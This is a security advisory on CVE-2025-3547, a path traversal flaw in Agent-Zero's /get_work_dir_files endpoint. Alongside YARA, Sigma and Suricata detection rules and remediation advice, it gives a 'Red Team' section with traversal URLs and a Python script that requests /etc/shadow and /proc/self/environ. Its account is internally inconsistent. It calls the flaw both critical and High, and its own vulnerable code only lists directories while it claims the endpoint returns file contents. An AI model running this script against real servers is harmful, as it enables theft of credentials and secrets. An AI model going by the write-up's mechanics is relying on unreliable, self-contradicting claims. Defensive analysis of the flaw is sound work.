CVE-2025-3547

Executive Summary

CVE-2025-3547 is a critical path traversal vulnerability discovered in frdel Agent-Zero version 0.8.1.2. The flaw resides in the /get_work_dir_files endpoint, where the path argument is not properly sanitized, allowing an unauthenticated remote attacker to read arbitrary files from the server filesystem. This vulnerability has been publicly disclosed with proof-of-concept code, increasing the risk of exploitation. As of this report, no official patch is available, and the vendor has not released a security advisory.

Supply Chain & Package Security

Agent-Zero is a Python-based agent framework. The vulnerability affects the core application logic, not a specific package dependency. However, users should audit their deployment for any custom extensions or plugins that may expose similar endpoints.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The vulnerability is rated High due to the ease of exploitation and the potential for significant data disclosure.

Deep Dive & Mechanics

The /get_work_dir_files endpoint is designed to list files within a specified working directory. The flaw occurs because the path parameter is passed directly to filesystem operations without proper validation or sanitization. An attacker can inject path traversal sequences (e.g., ../) to escape the intended directory and access sensitive files outside the application root.

Root Cause: The application uses a function similar to os.path.join or os.listdir with the user-supplied path without checking for traversal sequences. This allows an attacker to read any file the application process has access to.

Attack Scenario:

1. Attacker sends a GET request to /get_work_dir_files?path=../../etc/passwd.
2. The server resolves the path and returns the contents of /etc/passwd.
3. The attacker can then enumerate other sensitive files (e.g., configuration files, SSH keys, database credentials).

Vulnerable vs. Patched Code

Vulnerable Code (Python-like pseudocode):

@app.route('/get_work_dir_files')
def get_work_dir_files():
    path = request.args.get('path')
    # No sanitization
    full_path = os.path.join('/var/agent-zero/work_dir', path)
    if os.path.isdir(full_path):
        files = os.listdir(full_path)
        return jsonify(files)
    else:
        return "Not a directory", 400

Patched Code (Recommended):

import os

@app.route('/get_work_dir_files')
def get_work_dir_files():
    path = request.args.get('path')
    # Sanitize: resolve and check prefix
    base_dir = os.path.realpath('/var/agent-zero/work_dir')
    requested_path = os.path.realpath(os.path.join(base_dir, path))
    if not requested_path.startswith(base_dir):
        return "Access denied", 403
    if os.path.isdir(requested_path):
        files = os.listdir(requested_path)
        return jsonify(files)
    else:
        return "Not a directory", 400

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Agent-Zero 0.8.1.2 with the /get_work_dir_files endpoint exposed.
• Network access to the target.

Exploit Steps:

1. Identify the target endpoint: http://target:port/get_work_dir_files
2. Test basic traversal: http://target:port/get_work_dir_files?path=../
3. Read sensitive files:
   • Linux: ?path=../../etc/passwd
   • Windows: ?path=../../Windows/System32/drivers/etc/hosts
4. Use a script to automate file extraction:

import requests

target = "http://target:port"
payloads = [
    "../../etc/passwd",
    "../../etc/shadow",
    "../../proc/self/environ",
    "../../var/log/syslog"
]

for payload in payloads:
    url = f"{target}/get_work_dir_files?path={payload}"
    response = requests.get(url)
    if response.status_code == 200:
        print(f"[+] {payload}: {response.text}")
    else:
        print(f"[-] {payload}: {response.status_code}")

Blue Team

Detection & Response:

• Monitor for requests to /get_work_dir_files with suspicious path parameters containing ../ or ..\\.
• Alert on any successful responses from this endpoint that include file contents outside the expected directory.
• Block IPs that send multiple traversal attempts.

Honeypot:

• Deploy a decoy endpoint that logs all requests and triggers an alert on any traversal attempt.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /get_work_dir_files with path containing ../ or ..\\.
  • Outbound data transfers from the server to external IPs after exploitation.

• File System IOCs:

  • Unexpected file reads from /etc/passwd, /etc/shadow, /proc/self/environ, or other sensitive files.
  • Log entries showing access to files outside the application's working directory.

• Log IOCs:

  • Application logs showing path parameter with traversal sequences.
  • Web server logs with 200 responses to /get_work_dir_files with unusual paths.

Detection Engineering

YARA Rule

rule CVE_2025_3547_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against Agent-Zero /get_work_dir_files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3547"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $endpoint = "/get_work_dir_files"
    condition:
        $endpoint and ($traversal1 or $traversal2)
}

Sigma Rule

title: CVE-2025-3547 Path Traversal in Agent-Zero
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects path traversal attempts against the /get_work_dir_files endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/get_work_dir_files'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
    condition: selection
falsepositives:
    - Legitimate use of relative paths within the allowed directory (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3547 Path Traversal in Agent-Zero"; flow:to_server,established; content:"GET"; http_method; content:"/get_work_dir_files"; http_uri; content:"../"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint if not required: Block access to /get_work_dir_files via web server configuration (e.g., Apache .htaccess or Nginx location block).
2. Apply input validation using a Web Application Firewall (WAF) to block path traversal patterns.
3. Restrict file system permissions so the application process can only read the necessary directories.

Long-term Fix:

• The vendor must release a patch that sanitizes the path parameter using os.path.realpath and checks that the resolved path is within the allowed base directory.
• Until a patch is available, consider migrating to an alternative agent framework.

Monitoring:

• Enable detailed logging for all requests to /get_work_dir_files.
• Set up alerts for any traversal patterns detected in logs.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert